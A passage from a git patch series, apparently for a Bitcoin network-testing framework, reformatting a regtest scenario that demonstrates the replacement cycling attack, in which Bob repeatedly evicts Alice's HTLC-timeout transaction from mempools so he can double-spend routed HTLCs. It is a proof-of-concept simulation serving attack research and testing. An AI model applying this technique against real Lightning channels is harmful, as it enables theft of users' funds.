offerer_timeout.rehash() preimage_fee = 148 * sat_per_vbyte @@ -192,15 +247,17 @@ def create_chan_state(funding_txid, funding_vout, funder_seckey, fundee_seckey, receiver_preimage.vin.append(CTxIn(COutPoint(int(commitment_tx.hash, 16), 0), b"", 0)) receiver_preimage.vin.append(CTxIn(COutPoint(int(preimage_parent_tx.hash, 16), 0), b"", 0)) receiver_preimage.vout.append( - CTxOut(int(2 * input_amount - (commitment_fee + preimage_fee * 3)), spend_scriptpubkey)) + CTxOut(int(2 * input_amount - (commitment_fee + preimage_fee * 3)), spend_scriptpubkey) + ) - sig_hash = SegwitV0SignatureHash(witness_script, receiver_preimage, 0, SIGHASH_ALL, - commitment_tx.vout[0].nValue) - fundee_sig = fundee_seckey.sign_ecdsa(sig_hash) + b'\x01' + sig_hash = SegwitV0SignatureHash( + witness_script, receiver_preimage, 0, SIGHASH_ALL, commitment_tx.vout[0].nValue + ) + fundee_sig = fundee_seckey.sign_ecdsa(sig_hash) + b"\x01" # Spend the commitment transaction HTLC output receiver_preimage.wit.vtxinwit.append(CTxInWitness()) - receiver_preimage.wit.vtxinwit[0].scriptWitness.stack = [fundee_sig, b'a' * 32, witness_script] + receiver_preimage.wit.vtxinwit[0].scriptWitness.stack = [fundee_sig, b"a" * 32, witness_script] # Spend the parent transaction OP_TRUE output junk_script = CScript([OP_TRUE]) @@ -212,7 +269,6 @@ def create_chan_state(funding_txid, funding_vout, funder_seckey, fundee_seckey, class ReplacementCyclingTest(WarnetTestFramework): - def set_test_params(self): self.num_nodes = 2 @@ -230,7 +286,7 @@ def test_replacement_cycling(self): self.sync_all() last_blockhash = alice.getbestblockhash() block = alice.getblock(last_blockhash) - last_blockheight = block['height'] + last_blockheight = block["height"] self.connect_nodes(0, 1) @@ -239,27 +295,35 @@ def test_replacement_cycling(self): wallet = self.wallet # Generate funding transaction opening channel between Alice and Bob. - ab_funding_tx = generate_funding_chan(wallet, coin_1, alice_seckey.get_pubkey(), - bob_seckey.get_pubkey()) + ab_funding_tx = generate_funding_chan( + wallet, coin_1, alice_seckey.get_pubkey(), bob_seckey.get_pubkey() + ) - self.log.info(f"@{last_blockheight} {ab_funding_tx.hash[0:7]} Funding Txn " - f"- Funded by: [{coin_1['txid'][0:7]} Coin 1]") - alice.log.info(f"@{last_blockheight} {ab_funding_tx.hash[0:7]} Funding Txn " - "- Signed by: Alice & Bob " - "- Alice/Bob 2/2 multisig") + self.log.info( + f"@{last_blockheight} {ab_funding_tx.hash[0:7]} Funding Txn " + f"- Funded by: [{coin_1['txid'][0:7]} Coin 1]" + ) + alice.log.info( + f"@{last_blockheight} {ab_funding_tx.hash[0:7]} Funding Txn " + "- Signed by: Alice & Bob " + "- Alice/Bob 2/2 multisig" + ) # Propagate and confirm funding transaction. - ab_funding_txid = alice.sendrawtransaction(hexstring=ab_funding_tx.serialize().hex(), - maxfeerate=0) - alice.log.info(f"@{last_blockheight} {ab_funding_tx.hash[0:7]} Funding Txn " - "- Broadcasted by: Alice") + ab_funding_txid = alice.sendrawtransaction( + hexstring=ab_funding_tx.serialize().hex(), maxfeerate=0 + ) + alice.log.info( + f"@{last_blockheight} {ab_funding_tx.hash[0:7]} Funding Txn " "- Broadcasted by: Alice" + ) self.sync_all() assert ab_funding_txid in alice.getrawmempool() assert ab_funding_txid in bob.getrawmempool() - alice.log.info(f"@{last_blockheight} {ab_funding_txid[0:7]} Funding Txn " - "- Seen in the mempool") + alice.log.info( + f"@{last_blockheight} {ab_funding_txid[0:7]} Funding Txn " "- Seen in the mempool" + ) # We mine one block the Alice - Bob channel is opened. self.generate(alice, 1) @@ -268,12 +332,13 @@ def test_replacement_cycling(self): last_blockhash = alice.getbestblockhash() block = alice.getblock(last_blockhash) - last_blockheight = block['height'] + last_blockheight = block["height"] self.log.info(f"@{last_blockheight} {ab_funding_txid[0:7]} Funding Txn - Mined") - funding_redeemscript = get_funding_redeemscript(alice_seckey.get_pubkey(), - bob_seckey.get_pubkey()) + funding_redeemscript = get_funding_redeemscript( + alice_seckey.get_pubkey(), bob_seckey.get_pubkey() + ) coin_2 = self.wallet.get_utxo() @@ -282,59 +347,78 @@ def test_replacement_cycling(self): (bob_parent_tx, bob_child_tx) = generate_parent_child_tx(wallet, coin_2, 1) - self.log.info(f"@{last_blockheight} {bob_parent_tx.hash[0:7]} Parent Txn " - f"- Funded by: [{coin_2['txid'][0:7]} Coin_2]") + self.log.info( + f"@{last_blockheight} {bob_parent_tx.hash[0:7]} Parent Txn " + f"- Funded by: [{coin_2['txid'][0:7]} Coin_2]" + ) self.log.info(f"@{last_blockheight} {bob_parent_tx.hash[0:7]} Parent Txn - Created by: Bob") self.log.info(f"@{last_blockheight} {bob_parent_tx.hash[0:7]} Parent Txn - Signed by: Bob") self.log.info(f"@{last_blockheight} {bob_child_tx.hash[0:7]} Child Txn - Created by: Bob") - hashlock = hash160(b'a' * 32) + hashlock = hash160(b"a" * 32) alice_timeout_height = last_blockheight + 20 - (ab_commitment_tx, - alice_timeout_tx, - bob_preimage_tx) = create_chan_state(ab_funding_txid, - 0, - alice_seckey, - bob_seckey, - 49.99998 * COIN, - funding_redeemscript, - 2, - alice_timeout_height, - hashlock, - 0x1, - bob_parent_tx) - - self.log.info(f"@{last_blockheight} {ab_commitment_tx.hash[0:7]} Commitment Txn " - f"- Funded by: [{ab_funding_txid[0:7]} Funding Txn]") - self.log.info(f"@{last_blockheight} {ab_commitment_tx.hash[0:7]} Commitment Txn " - f"- Signed by: Alice & Bob " - "- Alice + Bob can claim with 2:2 multisig; Bob can claim with hashlock") - self.log.info(f"@{last_blockheight} {alice_timeout_tx.hash[0:7]} Alice Timeout Txn " - f"- Funded by: [{ab_commitment_tx.hash[0:7]} Commitment Txn]") - self.log.info(f"@{last_blockheight} {alice_timeout_tx.hash[0:7]} Alice Timeout Txn " - f"- Signed by: Alice & Bob " - f"- After nLockTime ({alice_timeout_height}), Alice can claim") - self.log.info(f"@{last_blockheight} {bob_preimage_tx.hash[0:7]} Bob Preimage Txn " - f"- Funded by: [{ab_commitment_tx.hash[0:7]} Commitment Txn, " - f"{bob_parent_tx.hash[0:7]} Parent Txn]") - self.log.info(f"@{last_blockheight} {bob_preimage_tx.hash[0:7]} Bob Preimage Txn " - f"- Signed by: Bob " - f"- Bob can claim with his preimage") + (ab_commitment_tx, alice_timeout_tx, bob_preimage_tx) = create_chan_state( + ab_funding_txid, + 0, + alice_seckey, + bob_seckey, + 49.99998 * COIN, + funding_redeemscript, + 2, + alice_timeout_height, + hashlock, + 0x1, + bob_parent_tx, + ) + + self.log.info( + f"@{last_blockheight} {ab_commitment_tx.hash[0:7]} Commitment Txn " + f"- Funded by: [{ab_funding_txid[0:7]} Funding Txn]" + ) + self.log.info( + f"@{last_blockheight} {ab_commitment_tx.hash[0:7]} Commitment Txn " + f"- Signed by: Alice & Bob " + "- Alice + Bob can claim with 2:2 multisig; Bob can claim with hashlock" + ) + self.log.info( + f"@{last_blockheight} {alice_timeout_tx.hash[0:7]} Alice Timeout Txn " + f"- Funded by: [{ab_commitment_tx.hash[0:7]} Commitment Txn]" + ) + self.log.info( + f"@{last_blockheight} {alice_timeout_tx.hash[0:7]} Alice Timeout Txn " + f"- Signed by: Alice & Bob " + f"- After nLockTime ({alice_timeout_height}), Alice can claim" + ) + self.log.info( + f"@{last_blockheight} {bob_preimage_tx.hash[0:7]} Bob Preimage Txn " + f"- Funded by: [{ab_commitment_tx.hash[0:7]} Commitment Txn, " + f"{bob_parent_tx.hash[0:7]} Parent Txn]" + ) + self.log.info( + f"@{last_blockheight} {bob_preimage_tx.hash[0:7]} Bob Preimage Txn " + f"- Signed by: Bob " + f"- Bob can claim with his preimage" + ) # We broadcast Alice - Bob commitment transaction. - ab_commitment_txid = alice.sendrawtransaction(hexstring=ab_commitment_tx.serialize().hex(), - maxfeerate=0) - alice.log.info(f"@{last_blockheight} {ab_commitment_tx.hash[0:7]} Commitment Txn " - "- Broadcasted by: Alice") + ab_commitment_txid = alice.sendrawtransaction( + hexstring=ab_commitment_tx.serialize().hex(), maxfeerate=0 + ) + alice.log.info( + f"@{last_blockheight} {ab_commitment_tx.hash[0:7]} Commitment Txn " + "- Broadcasted by: Alice" + ) self.sync_all() assert ab_commitment_txid in alice.getrawmempool() assert ab_commitment_txid in bob.getrawmempool() - self.log.info(f"@{last_blockheight} {ab_commitment_tx.hash[0:7]} Commitment Txn - " - "Seen in the mempool") + self.log.info( + f"@{last_blockheight} {ab_commitment_tx.hash[0:7]} Commitment Txn - " + "Seen in the mempool" + ) # Assuming anchor output channel, commitment transaction must be confirmed. # Additionally, we mine sufficient block for the alice timeout tx to be final. @@ -344,20 +428,24 @@ def test_replacement_cycling(self): last_blockhash = alice.getbestblockhash() block = alice.getblock(last_blockhash) - last_blockheight = block['height'] + last_blockheight = block["height"] self.log.info(f"@{last_blockheight} - Mined blocks") # Broadcast the Bob parent transaction and its child transaction - bob_parent_txid = bob.sendrawtransaction(hexstring=bob_parent_tx.serialize().hex(), - maxfeerate=0) - bob_child_txid = bob.sendrawtransaction(hexstring=bob_child_tx.serialize().hex(), - maxfeerate=0) + bob_parent_txid = bob.sendrawtransaction( + hexstring=bob_parent_tx.serialize().hex(), maxfeerate=0 + ) + bob_child_txid = bob.sendrawtransaction( + hexstring=bob_child_tx.serialize().hex(), maxfeerate=0 + ) - self.log.info(f"@{last_blockheight} {bob_parent_txid[0:7]} Parent Txn " - "- Broadcasted by: Bob") - self.log.info(f"@{last_blockheight} {bob_child_txid[0:7]} Child Txn " - "- Broadcasted by: Bob") + self.log.info( + f"@{last_blockheight} {bob_parent_txid[0:7]} Parent Txn " "- Broadcasted by: Bob" + ) + self.log.info( + f"@{last_blockheight} {bob_child_txid[0:7]} Child Txn " "- Broadcasted by: Bob" + ) self.sync_all() @@ -365,30 +453,36 @@ def test_replacement_cycling(self): assert bob_parent_txid in bob.getrawmempool() assert bob_child_txid in alice.getrawmempool() assert bob_child_txid in bob.getrawmempool() - self.log.info(f"@{last_blockheight} {bob_parent_txid[0:7]} Parent Txn " - f"- Seen in the mempool") + self.log.info( + f"@{last_blockheight} {bob_parent_txid[0:7]} Parent Txn " f"- Seen in the mempool" + ) self.log.info(f"@{last_blockheight} {bob_child_txid[0:7]} Child Txn - Seen in the mempool") # Broadcast the Alice timeout transaction - alice_timeout_txid = alice.sendrawtransaction(hexstring=alice_timeout_tx.serialize().hex(), - maxfeerate=0) + alice_timeout_txid = alice.sendrawtransaction( + hexstring=alice_timeout_tx.serialize().hex(), maxfeerate=0 + ) self.log.info( - f"@{last_blockheight} {alice_timeout_txid[0:7]} Timeout Txn " - f"- Broadcasted by: Alice") + f"@{last_blockheight} {alice_timeout_txid[0:7]} Timeout Txn " f"- Broadcasted by: Alice" + ) self.sync_all() assert alice_timeout_txid in alice.getrawmempool() assert alice_timeout_txid in bob.getrawmempool() - self.log.info(f"@{last_blockheight} {alice_timeout_txid[0:7]} Alice Timeout Txn " - f"- Seen in the mempool") + self.log.info( + f"@{last_blockheight} {alice_timeout_txid[0:7]} Alice Timeout Txn " + f"- Seen in the mempool" + ) # Broadcast the Bob preimage transaction - bob_preimage_txid = bob.sendrawtransaction(hexstring=bob_preimage_tx.serialize().hex(), - maxfeerate=0) + bob_preimage_txid = bob.sendrawtransaction( + hexstring=bob_preimage_tx.serialize().hex(), maxfeerate=0 + ) self.log.info( f"@{last_blockheight} {bob_preimage_txid[0:7]} Preimage Txn - Broadcasted by: Bob " - f"- should kick out Alice's Timeout Txn") + f"- should kick out Alice's Timeout Txn" + ) self.sync_all() @@ -396,7 +490,8 @@ def test_replacement_cycling(self): assert bob_preimage_txid in bob.getrawmempool() self.log.info( f"@{last_blockheight} {bob_preimage_txid[0:7]} Preimage Txn - Seen in the mempool " - "- this should kick out Alice's Timeout Txn") + "- this should kick out Alice's Timeout Txn" + ) # Check Alice timeout transaction and Bob child tx are not in the mempools anymore assert alice_timeout_txid not in alice.getrawmempool() @@ -406,28 +501,38 @@ def test_replacement_cycling(self): self.log.info( f"@{last_blockheight} {alice_timeout_txid[0:7]} Timeout Txn " - f"- Not seen in the mempool - Alice's Timeout Txn has been kicked out!") - self.log.info(f"@{last_blockheight} {bob_child_txid[0:7]} Child Txn " - f"- Not seen in the mempool - Bob's Child Txn has been kicked out!") + f"- Not seen in the mempool - Alice's Timeout Txn has been kicked out!" + ) + self.log.info( + f"@{last_blockheight} {bob_child_txid[0:7]} Child Txn " + f"- Not seen in the mempool - Bob's Child Txn has been kicked out!" + ) # Generate a higher fee parent transaction and broadcast it to replace Bob preimage tx (bob_replacement_parent_tx, bob_child_tx) = generate_parent_child_tx(wallet, coin_2, 10) - self.log.info(f"@{last_blockheight} {bob_replacement_parent_tx.hash[0:7]} " - f"Replacement Parent Txn - Funded by: [{coin_2['txid'][0:7]} Coin_2]") - self.log.info(f"@{last_blockheight} {bob_replacement_parent_tx.hash[0:7]} " - f"Replacement Parent Txn - Created by: Bob - Has a higher fee") - self.log.info(f"@{last_blockheight} {bob_replacement_parent_tx.hash[0:7]} " - f"Replacement Parent Txn - Signed by: Bob") + self.log.info( + f"@{last_blockheight} {bob_replacement_parent_tx.hash[0:7]} " + f"Replacement Parent Txn - Funded by: [{coin_2['txid'][0:7]} Coin_2]" + ) + self.log.info( + f"@{last_blockheight} {bob_replacement_parent_tx.hash[0:7]} " + f"Replacement Parent Txn - Created by: Bob - Has a higher fee" + ) + self.log.info( + f"@{last_blockheight} {bob_replacement_parent_tx.hash[0:7]} " + f"Replacement Parent Txn - Signed by: Bob" + ) self.log.info(f"@{last_blockheight} {bob_child_tx.hash[0:7]} Child Txn - Created by: Bob") bob_replacement_parent_txid = bob.sendrawtransaction( - hexstring=bob_replacement_parent_tx.serialize().hex(), - maxfeerate=0) + hexstring=bob_replacement_parent_tx.serialize().hex(), maxfeerate=0 + ) self.log.info( f"@{last_blockheight} {bob_replacement_parent_txid[0:7]} Replacement Parent Txn " - f"- Broadcasted by: Bob") + f"- Broadcasted by: Bob" + ) self.sync_all() @@ -442,16 +547,20 @@ def test_replacement_cycling(self): assert_equal(len(alice.getrawmempool()), 1) assert_equal(len(bob.getrawmempool()), 1) - self.log.info(f"@{last_blockheight} {bob_preimage_txid[0:7]} Preimage Txn " - f"- Not seen in the mempool") - self.log.info(f"@{last_blockheight} {bob_replacement_parent_txid[0:7]} " - f"Replacement Parent Txn - Seen in the mempool") + self.log.info( + f"@{last_blockheight} {bob_preimage_txid[0:7]} Preimage Txn " + f"- Not seen in the mempool" + ) + self.log.info( + f"@{last_blockheight} {bob_replacement_parent_txid[0:7]} " + f"Replacement Parent Txn - Seen in the mempool" + ) # A block is mined and bob replacement parent should have confirms. self.generate(alice, 1) last_blockhash = alice.getbestblockhash() block = alice.getblock(last_blockhash) - last_blockheight = block['height'] + last_blockheight = block["height"] self.sync_all() @@ -460,26 +569,42 @@ def test_replacement_cycling(self): assert_equal(len(alice.getrawmempool()), 0) assert_equal(len(bob.getrawmempool()), 0) - self.log.info(f"@{last_blockheight} {bob_replacement_parent_txid[0:7]} " - f"Replacement Parent Txn - Mined") + self.log.info( + f"@{last_blockheight} {bob_replacement_parent_txid[0:7]} " + f"Replacement Parent Txn - Mined" + ) # Alice can re-broadcast her HTLC-timeout as the offered output has not been claimed # Note the HTLC-timeout _txid_ must be modified to bypass p2p filters. Here we +1 the # nSequence. - (_, alice_timeout_tx_2, _) = create_chan_state(ab_funding_txid, 0, alice_seckey, bob_seckey, - 49.99998 * COIN, funding_redeemscript, 2, - alice_timeout_height, hashlock, 0x2, - bob_parent_tx) + (_, alice_timeout_tx_2, _) = create_chan_state( + ab_funding_txid, + 0, + alice_seckey, + bob_seckey, + 49.99998 * COIN, + funding_redeemscript, + 2, + alice_timeout_height, + hashlock, + 0x2, + bob_parent_tx, + ) - self.log.info(f"@{last_blockheight} {alice_timeout_tx_2.hash[0:7]} Timeout Txn 2 " - f"- Created by: Alice - Alice tweaks the nsequence (and therefore txid) " - f"of her original Timeout Txn, but where did she get Bob's key to do this?") + self.log.info( + f"@{last_blockheight} {alice_timeout_tx_2.hash[0:7]} Timeout Txn 2 " + f"- Created by: Alice - Alice tweaks the nsequence (and therefore txid) " + f"of her original Timeout Txn, but where did she get Bob's key to do this?" + ) alice_timeout_txid_2 = alice.sendrawtransaction( - hexstring=alice_timeout_tx_2.serialize().hex(), maxfeerate=0) + hexstring=alice_timeout_tx_2.serialize().hex(), maxfeerate=0 + ) - self.log.info(f"@{last_blockheight} {alice_timeout_txid_2[0:7]} Timeout Txn 2 " - f"- Broadcasted by: Alice") + self.log.info( + f"@{last_blockheight} {alice_timeout_txid_2[0:7]} Timeout Txn 2 " + f"- Broadcasted by: Alice" + ) self.sync_all() @@ -489,41 +614,57 @@ def test_replacement_cycling(self): # Note all the transactions are re-generated to bypass p2p filters coin_3 = self.wallet.get_utxo() (bob_parent_tx_2, bob_child_tx_2) = generate_parent_child_tx(wallet, coin_3, 4) - bob_preimage_tx_2 = generate_preimage_tx(49.9998 * COIN, 4, alice_seckey, bob_seckey, - hashlock, ab_commitment_tx, bob_parent_tx_2) - - self.log.info(f"@{last_blockheight} {bob_parent_tx_2.hash[0:7]} " - f"Parent Txn 2 - Funded by: [{coin_3['txid'][0:7]} Coin_3]") - self.log.info(f"@{last_blockheight} {bob_parent_tx_2.hash[0:7]} Parent Txn 2 " - f"- Created by: Bob") - self.log.info(f"@{last_blockheight} {bob_child_tx_2.hash[0:7]} Child Txn 2 " - f"- Created by: Bob") - self.log.info(f"@{last_blockheight} {bob_preimage_tx_2.hash[0:7]} Preimage Txn 2 " - f"- Created by: Bob") - self.log.info(f"@{last_blockheight} {bob_preimage_tx_2.hash[0:7]} Preimage Txn 2 " - f"- Funded by: [{ab_commitment_txid[0:7]} Commitment Txn]") - - bob_parent_txid_2 = bob.sendrawtransaction(hexstring=bob_parent_tx_2.serialize().hex(), - maxfeerate=0) - - self.log.info(f"@{last_blockheight} {bob_parent_txid_2[0:7]} Parent Txn 2 " - f"- Broadcasted by: Bob") + bob_preimage_tx_2 = generate_preimage_tx( + 49.9998 * COIN, 4, alice_seckey, bob_seckey, hashlock, ab_commitment_tx, bob_parent_tx_2 + ) + + self.log.info( + f"@{last_blockheight} {bob_parent_tx_2.hash[0:7]} " + f"Parent Txn 2 - Funded by: [{coin_3['txid'][0:7]} Coin_3]" + ) + self.log.info( + f"@{last_blockheight} {bob_parent_tx_2.hash[0:7]} Parent Txn 2 " f"- Created by: Bob" + ) + self.log.info( + f"@{last_blockheight} {bob_child_tx_2.hash[0:7]} Child Txn 2 " f"- Created by: Bob" + ) + self.log.info( + f"@{last_blockheight} {bob_preimage_tx_2.hash[0:7]} Preimage Txn 2 " + f"- Created by: Bob" + ) + self.log.info( + f"@{last_blockheight} {bob_preimage_tx_2.hash[0:7]} Preimage Txn 2 " + f"- Funded by: [{ab_commitment_txid[0:7]} Commitment Txn]" + ) + + bob_parent_txid_2 = bob.sendrawtransaction( + hexstring=bob_parent_tx_2.serialize().hex(), maxfeerate=0 + ) + + self.log.info( + f"@{last_blockheight} {bob_parent_txid_2[0:7]} Parent Txn 2 " f"- Broadcasted by: Bob" + ) self.sync_all() - bob_child_txid_2 = bob.sendrawtransaction(hexstring=bob_child_tx_2.serialize().hex(), - maxfeerate=0) + bob_child_txid_2 = bob.sendrawtransaction( + hexstring=bob_child_tx_2.serialize().hex(), maxfeerate=0 + ) - self.log.info(f"@{last_blockheight} {bob_child_txid_2[0:7]} Child Txn 2 " - f"- Broadcasted by: Bob") + self.log.info( + f"@{last_blockheight} {bob_child_txid_2[0:7]} Child Txn 2 " f"- Broadcasted by: Bob" + ) self.sync_all() - bob_preimage_txid_2 = bob.sendrawtransaction(hexstring=bob_preimage_tx_2.serialize().hex(), - maxfeerate=0) + bob_preimage_txid_2 = bob.sendrawtransaction( + hexstring=bob_preimage_tx_2.serialize().hex(), maxfeerate=0 + ) - self.log.info(f"@{last_blockheight} {bob_preimage_txid_2[0:7]} Preimage Txn 2 " - f"- Broadcasted by Bob") + self.log.info( + f"@{last_blockheight} {bob_preimage_txid_2[0:7]} Preimage Txn 2 " + f"- Broadcasted by Bob" + ) self.sync_all() @@ -532,10 +673,14 @@ def test_replacement_cycling(self): assert alice_timeout_txid_2 not in alice.getrawmempool() assert alice_timeout_txid_2 not in bob.getrawmempool() - self.log.info(f"@{last_blockheight} {bob_preimage_txid_2[0:7]} Preimage Txn 2 " - f"- Seen in the mempool") - self.log.info(f"@{last_blockheight} {alice_timeout_txid_2[0:7]} Timeout Txn 2 " - f"- Not seen in the mempool") + self.log.info( + f"@{last_blockheight} {bob_preimage_txid_2[0:7]} Preimage Txn 2 " + f"- Seen in the mempool" + ) + self.log.info( + f"@{last_blockheight} {alice_timeout_txid_2[0:7]} Timeout Txn 2 " + f"- Not seen in the mempool" + ) # Bob can repeat this replacement cycling trick until an inbound HTLC of Alice expires and # double-spend her routed HTLCs. @@ -550,15 +695,14 @@ def test_replacement_cycling(self): self.log.info(f"@{last_blockheight} Raw_mempool: {alice.getrawmempool()}") def run_test(self): - address = "bcrt1p9yfmy5h72durp7zrhlw9lf7jpwjgvwdg0jr0lqmmjtgg83266lqsekaqka" # noqa + address = "bcrt1p9yfmy5h72durp7zrhlw9lf7jpwjgvwdg0jr0lqmmjtgg83266lqsekaqka" # noqa - self.generatetoaddress(self.nodes[0], nblocks=101, - address=address) + self.generatetoaddress(self.nodes[0], nblocks=101, address=address) self.wallet = MiniWallet(self.nodes[0]) self.test_replacement_cycling() -if __name__ == '__main__': +if __name__ == "__main__": ReplacementCyclingTest().main() From 4325583ecb3f52238deeab1638ea0660fad85573 Mon Sep 17 00:00:00 2001 From: Grant Date: Wed, 17 Jul 2024 15:46:20 -0500 Subject: [PATCH 18/18] update scenario_count --- test/scenarios_test.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/test/scenarios_test.py b/test/scenarios_test.py index 5b1e56f67..f5fa63c5f 100755 --- a/test/scenarios_test.py +++ b/test/scenarios_test.py @@ -33,7 +33,10 @@ def check_available_scenarios(self): self.log.info("Checking available scenarios") # Use rpc instead of warcli so we get raw JSON object scenarios = self.rpc("scenarios_available") - assert len(scenarios) == 4, f"Expected 4 available scenarios, got {len(scenarios)}" + scenario_count = 5 + assert len(scenarios) == scenario_count, ( + f"Expected {scenario_count} available scenarios, " f"got {len(scenarios)}" + ) self.log.info(f"Found {len(scenarios)} available scenarios") def scenario_running(self, scenario_name: str):